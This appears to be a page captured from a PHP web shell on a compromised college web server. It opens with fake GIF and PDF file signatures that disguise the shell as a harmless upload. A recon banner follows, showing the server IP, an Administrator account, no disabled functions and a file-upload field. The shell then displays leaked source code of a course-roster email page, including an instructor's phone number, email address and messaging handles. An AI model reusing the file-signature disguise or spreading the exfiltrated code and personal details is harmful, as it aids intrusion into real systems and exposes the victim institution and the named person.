GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/common/Class/ |
Upload File : |
<? // common/Class/ClassEmail.phpinc debugTrackBegin(); if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; } #echo "\$f_classId=",$f_classId,"<br>\n"; if ($classRosterCount != 1) { $classRosterCountText = $classRosterCount." students"; } else { $classRosterCountText = $classRosterCount." student"; } if (isset($courseTitle)) { $courseTitleText = ' '.$courseTitle; } else { $courseTitleText = ''; } ?> <fieldset><legend>Class email by address <span class="smaller">(<?=$classRosterCountText?>)</span></legend> <? if ($classRosterCount) { $studentsPerColumn = (int) ($classRosterCount/4+.99); $emailAll = ''; //echo $studentsPerColumn."<br>\n"; ?> <table cellpadding="0" cellspacing="0"><tr><td> <? mysqli_data_seek($classRosterResult, 0); $studentsThisColumn = 0; $prefix = ''; while ($classRosterRow = mysqli_fetch_assoc($classRosterResult)) { $classRosterRow['Name'] = userName($classRosterRow['userId'],false,true,true); if ( !$classRosterRow['Name'] ) { if ( $classRosterRow['useruserFirstName'] ) { $classRosterRow['Name'] = 'u '.trim(stripslashes($classRosterRow['useruserFirstName']).' '.stripslashes($classRosterRow['useruserLastName'])); } else { $classRosterRow['Name'] = 'c '.trim(stripslashes($classRosterRow['userFirstName']).' '.stripslashes($classRosterRow['userLastName'])); } } $f_emailSubject = ""; $f_emailMessage = ""; $dateText = substr($classRosterRow['userAccessTime'],0,10); if ($classRosterRow['userStudentId'] == $classRosterRow['useruserStudentId']) { // User has logged in. if (date_difference($classRosterRow['userAccessTime'], currentDateTime()) <= 14) { // User has logged in within the last two weeks. $status = "Current"; $f_emailSubject = "&subject=".$f_courseNumber." -%20"; $f_emailMessage = ""; } else { if (date_difference($classRosterRow['userAccessTime'], currentDateTime()) <= 90) { // User has logged in within the last three months. $status = "Recent"; $f_emailSubject = "&subject=".$f_courseNumber." - I have not seen activity by you in ".$f_courseNumber.$courseTitleText." since ".$dateText; $f_emailMessage = "&body=I have not seen activity by you in ".$f_courseNumber.$courseTitleText." since ".$dateText.".%0D%0APlease notify me as soon as you can about your plans to continue work on this class.%0D%0A%0D%0AThank you%2C%0D%0A%0D%0A"; } else { // User has not logged in within the last three months. $status = "Older"; $f_emailSubject = "&subject=".$f_courseNumber." - Why have you never started the class%3F"; $f_emailMessage = "&body=".stripslashes($classRosterRow['userFirstName'])."%2C%0D%0A%0D%0AWhy have you not started work on ".$f_courseNumber.$courseTitleText."%3F%0D%0APlease notify me as soon as you can about your plans to begin work on this class.%0D%0A%0D%0AThank you%2C%0D%0A%0D%0A"; } } } else { // User has never logged in. $status = "Never"; $f_emailSubject = "&subject=".$f_courseNumber." - Why have you not started work on ".$f_courseNumber.$courseTitleText."%3F"; $f_emailMessage = "&body=".stripslashes($classRosterRow['userFirstName'])."%2C%0D%0A%0D%0AWhy have you not started work on ".$f_courseNumber.$courseTitleText."%3F%0D%0APlease notify me as soon as you can about your plans to begin work on this class.%0D%0A%0D%0AThank you%2C%0D%0A%0D%0A"; $dateText = 'n/a'; } #$dateText = '<span class="normal">('.$dateText.')</span>'; if (isset($classRosterRow['userEmail']) && $classRosterRow['userEmail'] != '') { $thisEmail = $classRosterRow['userEmail']; } else { $status .= ' userNoEmail'; $thisEmail = $classRosterRow['Name'];//stripslashes($classRosterRow['userFirstName']." ".$classRosterRow['userLastName']); } $emailAll .= $thisEmail.'; '; echo $prefix; ?> <?=$classRosterRow['Name']?> <<a href="mailto:<?=$thisEmail?>?cc=<?=$_SESSION['userEmail']?><?=$f_emailSubject?><?=$f_emailMessage?>" class="user<?=$status?>" title="<?=stripslashes($classRosterRow['userFirstName'])?> <?=stripslashes($classRosterRow['userLastName'])?> lastLogin=<?=$dateText?> userId=<?=$classRosterRow['userId']?>"><?=$thisEmail?></a>> <? $prefix = '<br>'; } #$f_emailSubject = "&subject=".$f_courseNumber." - Please complete the $f_courseNumber class questionnaire before 4:00pm on Friday, May 15th, 2009. "; #$f_emailSubject = "&subject=I need help demonstrating Web_Ex this Wednesday, May 11th."; $f_emailSubject = "&subject=".$f_courseNumber." -%20"; /** / $f_emailMessage = "&body=If you are willing to assist please contact me.%0D%0A I need help demonstrating Web_Ex this Wednesday, May 11th at 3:00pm.%0D%0A Thanks,%0D%0A %0D%0A Jim Martinson%0D%0A Ridgewater College%0D%0A Web: https://cst.ridgewater.edu%0D%0A email: jim.martinson@ridgewater.edu%0D%0A work: 320-234-8546%0D%0A IM: AIM: jimmart55, ICQ: 6757222, MSN: jimmart@hutchtel.net, Yahoo: jimmart55.%0D%0A "; /**/ $f_emailMessage = "" ?> <br> <a href="mailto:<?=trim($emailAll)?>?cc=<?=$_SESSION['userEmail']?><?=$f_emailSubject?><?=$f_emailMessage?>" title="Email all students">Email all students</a> </td></tr></table> Student Login status: <span class="userCurrent nowrap">Green = < 2 weeks,</span> <span class="userRecent nowrap">Blue = < 3 months,</span> <span class="userOlder nowrap">Orange = > 3 months,</span> <span class="userNever nowrap">Red = Never logged in</span>. <span class="userNoEmail nowrap">Purple = No email address</span>. <? } else { ?> The class roster is empty. <? } ?> </fieldset> <? /** / ?> <fieldset><legend>Class email by name <span class="smaller">(<?=$classRosterCountText?>)</span></legend> <? if ($classRosterCount) { $studentsPerColumn = (int) ($classRosterCount/4+.99); $emailAll = ''; ?> <table cellpadding="0" cellspacing="0"><tr><td> <? mysqli_data_seek($classRosterResult, 0); $studentsThisColumn = 0; while ($classRosterRow = mysqli_fetch_assoc($classRosterResult)) { #d_Var('$classRosterRow',$classRosterRow,'d'); $classRosterRow['Name'] = userName($classRosterRow['userId'],false,true,true); if ( !$classRosterRow['Name'] ) { if ( $classRosterRow['useruserFirstName'] ) { $classRosterRow['Name'] = 'u '.trim(stripslashes($classRosterRow['useruserFirstName']).' '.stripslashes($classRosterRow['useruserLastName'])); } else { $classRosterRow['Name'] = 'c '.trim(stripslashes($classRosterRow['userFirstName']).' '.stripslashes($classRosterRow['userLastName'])); } } $f_emailSubject = ""; $f_emailMessage = ""; $dateText = substr($classRosterRow['userAccessTime'],0,10); if ($classRosterRow['userStudentId'] == $classRosterRow['useruserStudentId']) { // User has logged in. if (date_difference($classRosterRow['userAccessTime'], currentDateTime()) <= 14) { // User has logged in within the last two weeks. $status = "Current"; $f_emailSubject = "&subject=".$f_courseNumber." -%20"; $f_emailMessage = ""; } else { if (date_difference($classRosterRow['userAccessTime'], currentDateTime()) <= 90) { // User has logged in within the last three months. $status = "Recent"; $f_emailSubject = "&subject=".$f_courseNumber." - I have not seen activity by you in ".$f_courseNumber.$courseTitleText." since ".$dateText; $f_emailMessage = "&body=I have not seen activity by you in ".$f_courseNumber.$courseTitleText." since ".$dateText.".%0D%0APlease notify me as soon as you can about your plans to continue work on this class.%0D%0A%0D%0AThank you%2C%0D%0A%0D%0A"; } else { // User has not logged in within the last three months. $status = "Older"; $f_emailSubject = "&subject=".$f_courseNumber." - Why have you never started the class%3F"; $f_emailMessage = "&body=".stripslashes($classRosterRow['userFirstName'])."%2C%0D%0A%0D%0AWhy have you not started work on ".$f_courseNumber.$courseTitleText."%3F%0D%0APlease notify me as soon as you can about your plans to begin work on this class.%0D%0A%0D%0AThank you%2C%0D%0A%0D%0A"; } } } else { // User has never logged in. $status = "Never"; $f_emailSubject = "&subject=".$f_courseNumber." - Why have you not started work on ".$f_courseNumber.$courseTitleText."%3F"; $f_emailMessage = "&body=".stripslashes($classRosterRow['userFirstName'])."%2C%0D%0A%0D%0AWhy have you not started work on ".$f_courseNumber.$courseTitleText."%3F%0D%0APlease notify me as soon as you can about your plans to begin work on this class.%0D%0A%0D%0AThank you%2C%0D%0A%0D%0A"; $dateText = 'n/a'; } #$dateText = '<span class="normal">('.$dateText.')</span>'; $thisEmail = $classRosterRow['Name'];//stripslashes($classRosterRow['userFirstName']." ".$classRosterRow['userLastName']); $emailAll .= $thisEmail.'; '; ?> <a href="mailto:<?=$thisEmail?>?cc=<?=$_SESSION['userEmail']?><?=$f_emailSubject?><?=$f_emailMessage?>" class="normal user<?=$status?>" title="<?=stripslashes($classRosterRow['userFirstName'])?> <?=stripslashes($classRosterRow['userLastName'])?> lastLogin=<?=$dateText?> userId=<?=$classRosterRow['userId']?>"><?=$thisEmail?></a>; <? } #$f_emailSubject = "&subject=".$f_courseNumber." - Please complete the $f_courseNumber class questionnaire before 4:00pm on Friday, May 15th, 2009. "; #$f_emailSubject = "&subject=I need help demonstrating Web_Ex this Wednesday, May 11th."; $f_emailSubject = "&subject=".$f_courseNumber." -%20"; $f_emailMessage = "" ?> <br> <a href="mailto:<?=trim($emailAll)?>?cc=<?=$_SESSION['userEmail']?><?=$f_emailSubject?><?=$f_emailMessage?>" title="Email all students">Email all students</a> </td></tr></table> Student Login status: <span class="userCurrent">Green = < 2 weeks,</span> <span class="userRecent">Blue = < 3 months,</span> <span class="userOlder">Orange = > 3 months,</span> <span class="userNever">Red = Never logged in</span>. <? } else { ?> The class roster is empty. <? } ?> </fieldset> <? /**/ ?> <? debugTrackEnd(); ?>